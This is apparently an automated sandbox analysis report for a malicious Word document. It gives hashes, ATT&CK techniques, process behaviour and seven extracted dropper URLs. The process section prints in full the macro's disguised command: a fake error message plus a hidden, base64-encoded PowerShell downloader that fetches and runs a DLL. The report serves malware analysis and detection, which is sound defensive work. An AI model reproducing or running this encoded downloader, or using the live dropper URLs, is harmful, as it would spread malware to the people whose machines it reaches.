055e1fe89e4daa151fe649949779e67b4b4a4f1cdb9ada40550b6ab0960f71ce

General

Target

KPU400GPY1720.doc
Size

166KB
MD5

3eff3709efa827fc4f9673615c8537f7
SHA1

d2515f19045e5473b0e3d3a0c48596d279c141a9
SHA256

055e1fe89e4daa151fe649949779e67b4b4a4f1cdb9ada40550b6ab0960f71ce
SHA512

93639555a7ca82be41de7ac46083a9f916b01757baacd163c28c5fa8a91760af382be420623941dfbb171413b0f245b15ee8196f5e07a19564fe044a1df164ee

Score

10^/10

ransomware

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://trainwithconviction.com/wp-admin/y/

exe.dropper

http://trainwithconviction.webdmcsolutions.com/wp-admin/rEEEU/

exe.dropper

https://perrasmoore.ca/wp-admin/rM6HK/

exe.dropper

https://canadabrightway.com/wp-admin/n3/

exe.dropper

https://upinsmokebatonrouge.com/var/Ux1V/

exe.dropper

https://thelambertagency.com/staging/Vo/

exe.dropper

https://stormhansen.com/2556460492/if/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3920 3464 cmd.exe
Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

20 1944 powershell.exe
26 1944 powershell.exe
28 1944 powershell.exe
33 1944 powershell.exe
35 1944 powershell.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

3984 rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
ransomware

System Information Discovery
T1082

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3920	3464	cmd.exe

flow	pid	process
20	1944	powershell.exe
26	1944	powershell.exe
28	1944	powershell.exe
33	1944	powershell.exe
35	1944	powershell.exe

pid	process
3984	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

640 WINWORD.EXE
640 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1944 powershell.exe
1944 powershell.exe
1944 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1944 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

640 WINWORD.EXE
640 WINWORD.EXE
640 WINWORD.EXE
640 WINWORD.EXE
640 WINWORD.EXE
640 WINWORD.EXE
640 WINWORD.EXE

pid	process
640	WINWORD.EXE
640	WINWORD.EXE

pid	process
1944	powershell.exe
1944	powershell.exe
1944	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1944	powershell.exe

pid	process
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.exepowershell.exerundll32.exe

description	pid	process	target process
PID 3920 wrote to memory of 3584	3920	cmd.exe	msg.exe
PID 3920 wrote to memory of 3584	3920	cmd.exe	msg.exe
PID 3920 wrote to memory of 1944	3920	cmd.exe	powershell.exe
PID 3920 wrote to memory of 1944	3920	cmd.exe	powershell.exe
PID 1944 wrote to memory of 192	1944	powershell.exe	rundll32.exe
PID 1944 wrote to memory of 192	1944	powershell.exe	rundll32.exe
PID 192 wrote to memory of 3984	192	rundll32.exe	rundll32.exe
PID 192 wrote to memory of 3984	192	rundll32.exe	rundll32.exe
PID 192 wrote to memory of 3984	192	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\KPU400GPY1720.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:640

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAHMARQB0ACAAeQBkAFQAVQBXACAAKAAgAFsAdABZAHAAZQBdACgAIgB7ADQAfQB7ADIAfQB7ADAAfQB7ADMAfQB7ADUAfQB7ADEAfQAiACAALQBmACAAJwBFAG0AJwAsACcAVABPAFIAeQAnACwAJwBUACcALAAnAC4ASQBvAC4AJwAsACcAUwB5AFMAJwAsACcAZABpAHIAZQBDACcAKQApACAAIAA7ACAAIABzAGUAdAAgACgAIgB1ACIAKwAiAGEAWAAiACsAIgBLAEgAUgAiACkAIAAoACAAWwBUAFkAUABlAF0AKAAiAHsANQB9AHsAMAB9AHsAMQB9AHsANAB9AHsAMgB9AHsAMwB9AHsANgB9ACIALQBmACcAaQBOAHQAJwAsACcAbQBBAG4AJwAsACcAZwAnACwAJwBFACcALAAnAGEAJwAsACcAUwB5AFMAVABFAE0ALgBuAEUAVAAuAHMARQByAHYAaQBjAGUAcABPACcALAAnAFIAJwApACAAIAApADsAJABYAG8AcQB0ADcAawB3AD0AJABKADEAXwBWACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABIADEAMABXADsAJABFADEAMQBIAD0AKAAnAEEAMAAnACsAJwA1AEcAJwApADsAIAAoACAAZwBpACAAdgBBAHIAaQBhAGIATABFADoAeQBkAHQAdQB3ACAAIAApAC4AVgBhAEwAVQBFADoAOgAiAEMAYABSAGUAYABBAFQARQBgAEQAaQByAEUAQwBUAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAnACsAJwAwAH0AJwArACcAWABrACcAKwAnADgAJwArACcAZgAnACsAJwAwAGIAdAB7ADAAfQBCADcAbQB3AGEAdgBiAHsAMAB9ACcAKQAgACAALQBGACAAWwBjAGgAYQBSAF0AOQAyACkAKQA7ACQAVgA1ADYAUgA9ACgAJwBXADkAJwArACcAOABRACcAKQA7ACAAKAAgACAARwBlAFQALQBpAFQAZQBtACAAIAAoACcAVgAnACsAJwBBAHIAaQAnACsAJwBBAGIAJwArACcATABFADoAVQBBAFgAawBIAHIAJwApACkALgBWAEEAbAB1AGUAOgA6ACIAcwBgAGUAYABjAGAAVQBSAGkAVABgAHkAUABSAG8AdABPAEMATwBMACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAMQAnACkAKwAnADIAJwApADsAJABQADQANABFAD0AKAAnAFYAJwArACgAJwA0ADkAJwArACcAQgAnACkAKQA7ACQASAB0AG4AZgB2ADIAdQAgAD0AIAAoACcARwAnACsAKAAnADEAJwArACcANABDACcAKQApADsAJABMADIAOQBSAD0AKAAnAFMANwAnACsAJwA0AFQAJwApADsAJABWAHoAcgBjAHEAdAA1AD0AJABIAE8ATQBFACsAKAAoACgAJwBsACcAKwAnAEIAbQAnACkAKwAoACcAWABrADgAJwArACcAZgAnACsAJwAwAGIAJwApACsAKAAnAHQAbAAnACsAJwBCAG0AQgA3ACcAKwAnAG0AJwApACsAJwB3ACcAKwAoACcAYQAnACsAJwB2AGIAJwArACcAbABCAG0AJwApACkAIAAgAC0AcgBlAFAAbABBAGMARQAgACAAKABbAGMASABBAFIAXQAxADAAOAArAFsAYwBIAEEAUgBdADYANgArAFsAYwBIAEEAUgBdADEAMAA5ACkALABbAGMASABBAFIAXQA5ADIAKQArACQASAB0AG4AZgB2ADIAdQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQA3ADQATAA9ACgAJwBOADUAJwArACcAMwBRACcAKQA7ACQAUwA4AGUANgB1AF8ANQA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFUANwBfAHgAZQBvADEAPQAoACgAJwBzAGcAIAB5AHcAIAAnACsAJwBhACcAKwAnAGgAJwApACsAKAAnADoALwAnACsAJwAvACcAKQArACgAJwB0ACcAKwAnAHIAYQBpACcAKQArACgAJwBuAHcAaQB0ACcAKwAnAGgAYwBvAG4AdgBpAGMAJwArACcAdABpACcAKwAnAG8AJwApACsAKAAnAG4ALgBjAG8AbQAnACsAJwAvAHcAcAAtACcAKQArACgAJwBhACcAKwAnAGQAbQBpAG4ALwB5ACcAKwAnAC8AJwApACsAKAAnACEAJwArACcAcwBnACAAeQAnACkAKwAnAHcAIAAnACsAKAAnAGEAaAA6ACcAKwAnAC8ALwAnACkAKwAoACcAdAByACcAKwAnAGEAJwApACsAKAAnAGkAJwArACcAbgB3AGkAJwApACsAKAAnAHQAaABjACcAKwAnAG8AJwApACsAJwBuACcAKwAnAHYAJwArACcAaQAnACsAJwBjAHQAJwArACcAaQAnACsAKAAnAG8AJwArACcAbgAuAHcAJwArACcAZQBiAGQAbQBjAHMAJwArACcAbwBsAHUAJwApACsAKAAnAHQAaQBvAG4AcwAnACsAJwAuAGMAbwBtAC8AJwArACcAdwBwACcAKwAnAC0AYQBkAG0AaQBuACcAKwAnAC8AcgBFACcAKwAnAEUARQBVAC8AIQAnACsAJwBzACcAKwAnAGcAIAAnACkAKwAnAHkAJwArACcAdwAnACsAKAAnACAAJwArACcAYQBoAHMAOgAvAC8AJwArACcAcABlAHIAcgAnACsAJwBhACcAKQArACgAJwBzAG0AbwBvAHIAZQAnACsAJwAuAGMAJwArACcAYQAvACcAKQArACgAJwB3AHAAJwArACcALQAnACkAKwAnAGEAZAAnACsAKAAnAG0AaQBuACcAKwAnAC8AJwApACsAKAAnAHIATQAnACsAJwA2AEgASwAvACcAKwAnACEAJwArACcAcwBnACcAKQArACcAIAB5ACcAKwAoACcAdwAnACsAJwAgAGEAaABzACcAKwAnADoAJwApACsAJwAvACcAKwAnAC8AYwAnACsAKAAnAGEAbgBhACcAKwAnAGQAJwArACcAYQBiAHIAaQBnAGgAJwApACsAJwB0AHcAJwArACcAYQAnACsAKAAnAHkAJwArACcALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwB3AHAAJwApACsAKAAnAC0AJwArACcAYQBkACcAKQArACcAbQBpACcAKwAnAG4AJwArACgAJwAvACcAKwAnAG4AMwAnACkAKwAnAC8AIQAnACsAJwBzACcAKwAoACcAZwAgAHkAJwArACcAdwAgACcAKwAnAGEAJwApACsAKAAnAGgAJwArACcAcwA6ACcAKQArACcALwAvACcAKwAnAHUAcAAnACsAJwBpAG4AJwArACgAJwBzAG0AJwArACcAbwBrAGUAYgAnACsAJwBhAHQAbwAnACkAKwAnAG4AJwArACgAJwByACcAKwAnAG8AdQBnACcAKQArACcAZQAuACcAKwAnAGMAbwAnACsAKAAnAG0AJwArACcALwB2ACcAKQArACgAJwBhAHIAJwArACcALwAnACkAKwAoACcAVQB4ADEAJwArACcAVgAnACsAJwAvACEAJwApACsAJwBzACcAKwAoACcAZwAnACsAJwAgAHkAJwApACsAJwB3ACAAJwArACgAJwBhACcAKwAnAGgAcwA6AC8ALwB0ACcAKwAnAGgAJwApACsAKAAnAGUAbAAnACsAJwBhACcAKQArACgAJwBtAGIAZQByACcAKwAnAHQAJwApACsAKAAnAGEAZwBlAG4AJwArACcAYwAnACsAJwB5AC4AYwBvAG0AJwArACcALwAnACsAJwBzAHQAYQAnACkAKwAoACcAZwBpAG4AZwAnACsAJwAvACcAKQArACcAVgAnACsAKAAnAG8ALwAnACsAJwAhAHMAZwAgACcAKQArACgAJwB5AHcAIABhACcAKwAnAGgAcwAnACsAJwA6AC8AJwApACsAKAAnAC8AcwAnACsAJwB0AG8AcgAnACkAKwAnAG0AJwArACgAJwBoAGEAJwArACcAbgBzAGUAbgAnACsAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AMgA1ADUANgAnACsAJwA0ACcAKQArACcANgAwACcAKwAoACcANAA5ACcAKwAnADIALwBpACcAKwAnAGYALwAnACkAKQAuACIAUgBgAEUAUABMAEEAQwBlACIAKAAoACcAcwAnACsAKAAnAGcAJwArACcAIAB5AHcAIABhAGgAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAFMAOABlADYAdQBfADUALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBQAGAATABpAHQAIgAoACQAVgA4ADAARAAgACsAIAAkAFgAbwBxAHQANwBrAHcAIAArACAAJABSADIANQBRACkAOwAkAFQAMgA1AFUAPQAoACcAUwAnACsAKAAnADEAXwAnACsAJwBIACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABBADgAdAB5ADIAYgBmACAAaQBuACAAJABVADcAXwB4AGUAbwAxACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcALQBPAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABzAFkAUwBUAEUAbQAuAE4AZQBUAC4AdwBFAGIAYwBMAEkARQBuAFQAKQAuACIARABvAHcAbgBMAGAATwBBAGQAYABGAGkATABlACIAKAAkAEEAOAB0AHkAMgBiAGYALAAgACQAVgB6AHIAYwBxAHQANQApADsAJABBAF8ANwBUAD0AKAAnAEcAJwArACgAJwAxADQAJwArACcAQQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABWAHoAcgBjAHEAdAA1ACkALgAiAGwAYABlAGAATgBnAHQAaAAiACAALQBnAGUAIAAzADIAMgAxADMAKQAgAHsAJgAoACcAcgB1AG4AJwArACcAZABsAGwAMwAyACcAKQAgACQAVgB6AHIAYwBxAHQANQAsACgAKAAnAEEAbgAnACsAJwB5ACcAKQArACgAJwBTACcAKwAnAHQAcgBpACcAKwAnAG4AZwAnACkAKQAuACIAdABvAFMAdABSAGAASQBuAGcAIgAoACkAOwAkAFcAOAAwAEIAPQAoACcASAAnACsAKAAnADcAJwArACcAMwBSACcAKQApADsAYgByAGUAYQBrADsAJABGADgAOQBSAD0AKAAnAEQANgAnACsAJwA2AEkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABKAF8AMQBHAD0AKAAoACcAQwAnACsAJwAyADAAJwApACsAJwBFACcAKQA=
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3920

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:3584

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IAAgAHMARQB0ACAAeQBkAFQAVQBXACAAKAAgAFsAdABZAHAAZQBdACgAIgB7ADQAfQB7ADIAfQB7ADAAfQB7ADMAfQB7ADUAfQB7ADEAfQAiACAALQBmACAAJwBFAG0AJwAsACcAVABPAFIAeQAnACwAJwBUACcALAAnAC4ASQBvAC4AJwAsACcAUwB5AFMAJwAsACcAZABpAHIAZQBDACcAKQApACAAIAA7ACAAIABzAGUAdAAgACgAIgB1ACIAKwAiAGEAWAAiACsAIgBLAEgAUgAiACkAIAAoACAAWwBUAFkAUABlAF0AKAAiAHsANQB9AHsAMAB9AHsAMQB9AHsANAB9AHsAMgB9AHsAMwB9AHsANgB9ACIALQBmACcAaQBOAHQAJwAsACcAbQBBAG4AJwAsACcAZwAnACwAJwBFACcALAAnAGEAJwAsACcAUwB5AFMAVABFAE0ALgBuAEUAVAAuAHMARQByAHYAaQBjAGUAcABPACcALAAnAFIAJwApACAAIAApADsAJABYAG8AcQB0ADcAawB3AD0AJABKADEAXwBWACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABIADEAMABXADsAJABFADEAMQBIAD0AKAAnAEEAMAAnACsAJwA1AEcAJwApADsAIAAoACAAZwBpACAAdgBBAHIAaQBhAGIATABFADoAeQBkAHQAdQB3ACAAIAApAC4AVgBhAEwAVQBFADoAOgAiAEMAYABSAGUAYABBAFQARQBgAEQAaQByAEUAQwBUAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAnACsAJwAwAH0AJwArACcAWABrACcAKwAnADgAJwArACcAZgAnACsAJwAwAGIAdAB7ADAAfQBCADcAbQB3AGEAdgBiAHsAMAB9ACcAKQAgACAALQBGACAAWwBjAGgAYQBSAF0AOQAyACkAKQA7ACQAVgA1ADYAUgA9ACgAJwBXADkAJwArACcAOABRACcAKQA7ACAAKAAgACAARwBlAFQALQBpAFQAZQBtACAAIAAoACcAVgAnACsAJwBBAHIAaQAnACsAJwBBAGIAJwArACcATABFADoAVQBBAFgAawBIAHIAJwApACkALgBWAEEAbAB1AGUAOgA6ACIAcwBgAGUAYABjAGAAVQBSAGkAVABgAHkAUABSAG8AdABPAEMATwBMACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAMQAnACkAKwAnADIAJwApADsAJABQADQANABFAD0AKAAnAFYAJwArACgAJwA0ADkAJwArACcAQgAnACkAKQA7ACQASAB0AG4AZgB2ADIAdQAgAD0AIAAoACcARwAnACsAKAAnADEAJwArACcANABDACcAKQApADsAJABMADIAOQBSAD0AKAAnAFMANwAnACsAJwA0AFQAJwApADsAJABWAHoAcgBjAHEAdAA1AD0AJABIAE8ATQBFACsAKAAoACgAJwBsACcAKwAnAEIAbQAnACkAKwAoACcAWABrADgAJwArACcAZgAnACsAJwAwAGIAJwApACsAKAAnAHQAbAAnACsAJwBCAG0AQgA3ACcAKwAnAG0AJwApACsAJwB3ACcAKwAoACcAYQAnACsAJwB2AGIAJwArACcAbABCAG0AJwApACkAIAAgAC0AcgBlAFAAbABBAGMARQAgACAAKABbAGMASABBAFIAXQAxADAAOAArAFsAYwBIAEEAUgBdADYANgArAFsAYwBIAEEAUgBdADEAMAA5ACkALABbAGMASABBAFIAXQA5ADIAKQArACQASAB0AG4AZgB2ADIAdQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQA3ADQATAA9ACgAJwBOADUAJwArACcAMwBRACcAKQA7ACQAUwA4AGUANgB1AF8ANQA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFUANwBfAHgAZQBvADEAPQAoACgAJwBzAGcAIAB5AHcAIAAnACsAJwBhACcAKwAnAGgAJwApACsAKAAnADoALwAnACsAJwAvACcAKQArACgAJwB0ACcAKwAnAHIAYQBpACcAKQArACgAJwBuAHcAaQB0ACcAKwAnAGgAYwBvAG4AdgBpAGMAJwArACcAdABpACcAKwAnAG8AJwApACsAKAAnAG4ALgBjAG8AbQAnACsAJwAvAHcAcAAtACcAKQArACgAJwBhACcAKwAnAGQAbQBpAG4ALwB5ACcAKwAnAC8AJwApACsAKAAnACEAJwArACcAcwBnACAAeQAnACkAKwAnAHcAIAAnACsAKAAnAGEAaAA6ACcAKwAnAC8ALwAnACkAKwAoACcAdAByACcAKwAnAGEAJwApACsAKAAnAGkAJwArACcAbgB3AGkAJwApACsAKAAnAHQAaABjACcAKwAnAG8AJwApACsAJwBuACcAKwAnAHYAJwArACcAaQAnACsAJwBjAHQAJwArACcAaQAnACsAKAAnAG8AJwArACcAbgAuAHcAJwArACcAZQBiAGQAbQBjAHMAJwArACcAbwBsAHUAJwApACsAKAAnAHQAaQBvAG4AcwAnACsAJwAuAGMAbwBtAC8AJwArACcAdwBwACcAKwAnAC0AYQBkAG0AaQBuACcAKwAnAC8AcgBFACcAKwAnAEUARQBVAC8AIQAnACsAJwBzACcAKwAnAGcAIAAnACkAKwAnAHkAJwArACcAdwAnACsAKAAnACAAJwArACcAYQBoAHMAOgAvAC8AJwArACcAcABlAHIAcgAnACsAJwBhACcAKQArACgAJwBzAG0AbwBvAHIAZQAnACsAJwAuAGMAJwArACcAYQAvACcAKQArACgAJwB3AHAAJwArACcALQAnACkAKwAnAGEAZAAnACsAKAAnAG0AaQBuACcAKwAnAC8AJwApACsAKAAnAHIATQAnACsAJwA2AEgASwAvACcAKwAnACEAJwArACcAcwBnACcAKQArACcAIAB5ACcAKwAoACcAdwAnACsAJwAgAGEAaABzACcAKwAnADoAJwApACsAJwAvACcAKwAnAC8AYwAnACsAKAAnAGEAbgBhACcAKwAnAGQAJwArACcAYQBiAHIAaQBnAGgAJwApACsAJwB0AHcAJwArACcAYQAnACsAKAAnAHkAJwArACcALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwB3AHAAJwApACsAKAAnAC0AJwArACcAYQBkACcAKQArACcAbQBpACcAKwAnAG4AJwArACgAJwAvACcAKwAnAG4AMwAnACkAKwAnAC8AIQAnACsAJwBzACcAKwAoACcAZwAgAHkAJwArACcAdwAgACcAKwAnAGEAJwApACsAKAAnAGgAJwArACcAcwA6ACcAKQArACcALwAvACcAKwAnAHUAcAAnACsAJwBpAG4AJwArACgAJwBzAG0AJwArACcAbwBrAGUAYgAnACsAJwBhAHQAbwAnACkAKwAnAG4AJwArACgAJwByACcAKwAnAG8AdQBnACcAKQArACcAZQAuACcAKwAnAGMAbwAnACsAKAAnAG0AJwArACcALwB2ACcAKQArACgAJwBhAHIAJwArACcALwAnACkAKwAoACcAVQB4ADEAJwArACcAVgAnACsAJwAvACEAJwApACsAJwBzACcAKwAoACcAZwAnACsAJwAgAHkAJwApACsAJwB3ACAAJwArACgAJwBhACcAKwAnAGgAcwA6AC8ALwB0ACcAKwAnAGgAJwApACsAKAAnAGUAbAAnACsAJwBhACcAKQArACgAJwBtAGIAZQByACcAKwAnAHQAJwApACsAKAAnAGEAZwBlAG4AJwArACcAYwAnACsAJwB5AC4AYwBvAG0AJwArACcALwAnACsAJwBzAHQAYQAnACkAKwAoACcAZwBpAG4AZwAnACsAJwAvACcAKQArACcAVgAnACsAKAAnAG8ALwAnACsAJwAhAHMAZwAgACcAKQArACgAJwB5AHcAIABhACcAKwAnAGgAcwAnACsAJwA6AC8AJwApACsAKAAnAC8AcwAnACsAJwB0AG8AcgAnACkAKwAnAG0AJwArACgAJwBoAGEAJwArACcAbgBzAGUAbgAnACsAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AMgA1ADUANgAnACsAJwA0ACcAKQArACcANgAwACcAKwAoACcANAA5ACcAKwAnADIALwBpACcAKwAnAGYALwAnACkAKQAuACIAUgBgAEUAUABMAEEAQwBlACIAKAAoACcAcwAnACsAKAAnAGcAJwArACcAIAB5AHcAIABhAGgAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAFMAOABlADYAdQBfADUALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBQAGAATABpAHQAIgAoACQAVgA4ADAARAAgACsAIAAkAFgAbwBxAHQANwBrAHcAIAArACAAJABSADIANQBRACkAOwAkAFQAMgA1AFUAPQAoACcAUwAnACsAKAAnADEAXwAnACsAJwBIACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABBADgAdAB5ADIAYgBmACAAaQBuACAAJABVADcAXwB4AGUAbwAxACkAewB0AHIAeQB7ACgALgAoACcATgBlAHcALQBPAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABzAFkAUwBUAEUAbQAuAE4AZQBUAC4AdwBFAGIAYwBMAEkARQBuAFQAKQAuACIARABvAHcAbgBMAGAATwBBAGQAYABGAGkATABlACIAKAAkAEEAOAB0AHkAMgBiAGYALAAgACQAVgB6AHIAYwBxAHQANQApADsAJABBAF8ANwBUAD0AKAAnAEcAJwArACgAJwAxADQAJwArACcAQQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABWAHoAcgBjAHEAdAA1ACkALgAiAGwAYABlAGAATgBnAHQAaAAiACAALQBnAGUAIAAzADIAMgAxADMAKQAgAHsAJgAoACcAcgB1AG4AJwArACcAZABsAGwAMwAyACcAKQAgACQAVgB6AHIAYwBxAHQANQAsACgAKAAnAEEAbgAnACsAJwB5ACcAKQArACgAJwBTACcAKwAnAHQAcgBpACcAKwAnAG4AZwAnACkAKQAuACIAdABvAFMAdABSAGAASQBuAGcAIgAoACkAOwAkAFcAOAAwAEIAPQAoACcASAAnACsAKAAnADcAJwArACcAMwBSACcAKQApADsAYgByAGUAYQBrADsAJABGADgAOQBSAD0AKAAnAEQANgAnACsAJwA2AEkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABKAF8AMQBHAD0AKAAoACcAQwAnACsAJwAyADAAJwApACsAJwBFACcAKQA=
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1944

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Xk8f0bt\B7mwavb\G14C.dll,AnyString
3⤵
- Suspicious use of WriteProcessMemory
PID:192

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Xk8f0bt\B7mwavb\G14C.dll,AnyString
4⤵
- Loads dropped DLL
PID:3984

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\Xk8f0bt\B7mwavb\G14C.dll
MD5
db6b1b751143235793c97e2060753b03

SHA1
72c2dd8d677a9bbc86e624383d42fd0496144a5c

SHA256
01e14d7d7d88ef53d4f9443170bff682dc9c72f13451c18c9032a5e440975e98

SHA512
b637c6554f875cdbfe67673969b39f672ce4f5b4cf3da0a79e2bf151d878d4fb5edec4759018a8e7f1e2362ee11cf4e35760ba4cf13ba738474818e8cc94c96c

Download Submit
\Users\Admin\Xk8f0bt\B7mwavb\G14C.dll
MD5
db6b1b751143235793c97e2060753b03

SHA1
72c2dd8d677a9bbc86e624383d42fd0496144a5c

SHA256
01e14d7d7d88ef53d4f9443170bff682dc9c72f13451c18c9032a5e440975e98

SHA512
b637c6554f875cdbfe67673969b39f672ce4f5b4cf3da0a79e2bf151d878d4fb5edec4759018a8e7f1e2362ee11cf4e35760ba4cf13ba738474818e8cc94c96c

Download Submit
memory/192-15-0x0000000000000000-mapping.dmp

Download
memory/640-2-0x00007FF8FADF0000-0x00007FF8FAE00000-memory.dmp

Filesize
64KB

Download
memory/640-3-0x00007FF8FADF0000-0x00007FF8FAE00000-memory.dmp

Filesize
64KB

Download
memory/640-4-0x00007FF8FADF0000-0x00007FF8FAE00000-memory.dmp

Filesize
64KB

Download
memory/640-6-0x00007FF8FADF0000-0x00007FF8FAE00000-memory.dmp

Filesize
64KB

Download
memory/640-5-0x000002D11DC30000-0x000002D11E267000-memory.dmp

Filesize
6.2MB

Download
memory/1944-10-0x0000028023390000-0x0000028023391000-memory.dmp

Filesize
4KB

Download
memory/1944-11-0x0000028023380000-0x0000028023382000-memory.dmp

Filesize
8KB

Download
memory/1944-12-0x0000028023383000-0x0000028023385000-memory.dmp

Filesize
8KB

Download
memory/1944-13-0x000002803B830000-0x000002803B831000-memory.dmp

Filesize
4KB

Download
memory/1944-14-0x0000028023386000-0x0000028023388000-memory.dmp

Filesize
8KB

Download
memory/1944-9-0x00007FF917790000-0x00007FF91817C000-memory.dmp

Filesize
9.9MB

Download
memory/1944-8-0x0000000000000000-mapping.dmp

Download
memory/3584-7-0x0000000000000000-mapping.dmp

Download
memory/3984-17-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads